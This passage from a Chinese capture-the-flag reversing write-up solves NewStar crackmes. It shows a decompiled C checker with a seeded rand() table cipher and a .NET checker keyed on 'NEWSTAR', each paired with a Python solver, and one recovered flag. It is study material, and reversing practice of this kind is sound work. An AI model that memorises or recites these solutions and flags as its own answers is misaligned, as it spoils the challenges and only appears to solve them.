    20.   for ( i = 0; i < strlen(s); ++i )
    21.   {
    22.     v3 = s[i];
    23.     v4 = rand();
    24.     s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
    25.   }
    26.   if ( !memcmp(s, s2, 0x2AuLL) )
    27.     puts("You get the Right Flag!!");
    28.   else
    29.     puts("Maybe your flag is Wrong o.O?");
    30.   return 0;
    31. }

     

    1. from pwn import xor,p64 
    2. from ctypes import *
    3.  
    4. clibc = cdll.LoadLibrary("./libc.so.6")
    5. #windows msvcrt.dll
    6.  
    7. clibc.srand(0x5377654E)
    8. v4a = [clibc.rand()%255 for i in range(42)]
    9.  
    10.  
    11. msg = open('Random_1', 'rb').read()
    12.  
    13. s2 = [0]*6
    14. s2[0] = 0x3513AB8AB2D7E6EE
    15. s2[1] = 0x2EEDBA9CB9C97B02
    16. s2[2] = 0x16E4F8C8EEFA4FBD
    17. s2[3] = 0x383014F4983B6382
    18. s2[4] = 0xEA32360C3D843607
    19. s2[5] = 42581
    20.  
    21. enc = b''.join([p64(i) for i in s2])
    22. print(enc)
    23.  
    24. table = msg[0x3020: 0x3120]
    25. print(table[:20])
    26.  
    27. #s = [table[((((i+v4)>>4)&0xf)*16 + 15)& ((i+v4)&0xff)] for i in flag]
    28. s = [table.index(v) for v in enc]
    29.  
    30.  
    31. flag = ''
    32. for i in range(42):
    33.     v4 = v4a[i]
    34.     for v in range(0x20,0x7f):
    35.         if ((((v+v4)>>4)&0xf)*16 + 15) & ((v+v4)&0xff) == s[i]:
    36.             flag += chr(v)
    37.             break 
    38.  
    39. print(flag)

    C？C++

    .net 的程序用dnSpy打开，并不复杂

    1. namespace ConsoleApp1
    2. {
    3. 	// Token: 0x02000002 RID: 2
    4. 	internal class Program
    5. 	{
    6. 		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    7. 		private static void Main(string[] args)
    8. 		{
    9. 			int num = 35;
    10. 			int[] array = new int[]
    11. 			{
    12. 				68,
    13. 				75,
    14. 				66,
    15. 				72,
    16. 				99,
    17. 				19,
    18. 				19,
    19. 				78,
    20. 				83,
    21. 				74,
    22. 				91,
    23. 				86,
    24. 				35,
    25. 				39,
    26. 				77,
    27. 				85,
    28. 				44,
    29. 				89,
    30. 				47,
    31. 				92,
    32. 				49,
    33. 				88,
    34. 				48,
    35. 				91,
    36. 				88,
    37. 				102,
    38. 				105,
    39. 				51,
    40. 				76,
    41. 				115,
    42. 				-124,
    43. 				125,
    44. 				79,
    45. 				122,
    46. 				-103
    47. 			};
    48. 			char[] array2 = new char[35];
    49. 			int[] array3 = new int[35];
    50. 			Console.Write("Input your flag: ");
    51. 			string text = Console.ReadLine();
    52. 			for (int i = 0; i < text.Length; i++)
    53. 			{
    54. 				array2[i] = text[i];
    55. 			}
    56. 			string text2 = "NEWSTAR";
    57. 			for (int j = 0; j < num; j++)
    58. 			{
    59. 				char[] array4 = array2;
    60. 				int num2 = j;
    61. 				array4[num2] += (char)j;
    62. 				char[] array5 = array2;
    63. 				int num3 = j;
    64. 				array5[num3] -= ' ';
    65. 			}
    66. 			for (int k = 0; k < 7; k++)
    67. 			{
    68. 				char[] array6 = array2;
    69. 				int num4 = k;
    70. 				array6[num4] += (char)(k ^ (int)(-(int)(text2[k] % '\u0004')));
    71. 				char[] array7 = array2;
    72. 				int num5 = k + 7;
    73. 				array7[num5] += text2[k] % '\u0005';
    74. 				char[] array8 = array2;
    75. 				int num6 = k + 14;
    76. 				array8[num6] += (char)(2 * k);
    77. 				char[] array9 = array2;
    78. 				int num7 = k + 21;
    79. 				array9[num7] += (char)(k ^ 2);
    80. 				char[] array10 = array2;
    81. 				int num8 = k + 28;
    82. 				array10[num8] += text2[k] / '\u0005' + '\n';
    83. 			}
    84. 			for (int l = 0; l < num; l++)
    85. 			{
    86. 				int num9 = (int)array2[l];
    87. 				array3[l] = num9;
    88. 			}
    89. 			for (int m = 0; m < 35; m++)
    90. 			{
    91. 				bool flag = m == 34 && array3[m] == array[m];
    92. 				if (flag)
    93. 				{
    94. 					Console.WriteLine("Right!");
    95. 				}
    96. 				bool flag2 = array3[m] == array[m];
    97. 				if (!flag2)
    98. 				{
    99. 					Console.WriteLine("Wrong!");
    100. 					break;
    101. 				}
    102. 			}
    103. 		}
    104. 	}
    105. }
    1. c=[68,75,66,72,99,19,19,78,83,74,91,86,35,39,77,85,44,89,47,92,49,88,48,91,88,102,105,51,76,115,-124,125,79,122,-103]
    2. key = b"NEWSTAR" 
    3. def encrypt(flag):
    4.     flag = [v+i-0x20 for i,v in enumerate(flag)]
    5.     for i in range(7):
    6.         flag[i] += (i^(-(key[i]%4)))&0xff
    7.         flag[i+7] += key[i]%5 
    8.         flag[i+14] += 2*i 
    9.         flag[i+21] += (i^2)&0xff 
    10.         flag[i+28] += key[i]//5 + 10
    11.  
    12. def decrypt(flag):
    13.     for i in range(7):
    14.         flag[i] -= (i^(-(key[i]%4)))&0xff
    15.         flag[i+7] -= key[i]%5 
    16.         flag[i+14] -= 2*i 
    17.         flag[i+21] -= (i^2)&0xff 
    18.         flag[i+28] -= key[i]//5 + 10
    19.     
    20.     flag = [(v-i+0x20)&0xff for i,v in enumerate(flag)]
    21.     return flag
    22.  
    23. print(bytes(decrypt(c)))
    24. #flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}

    最后一题没弄成

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  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/133914416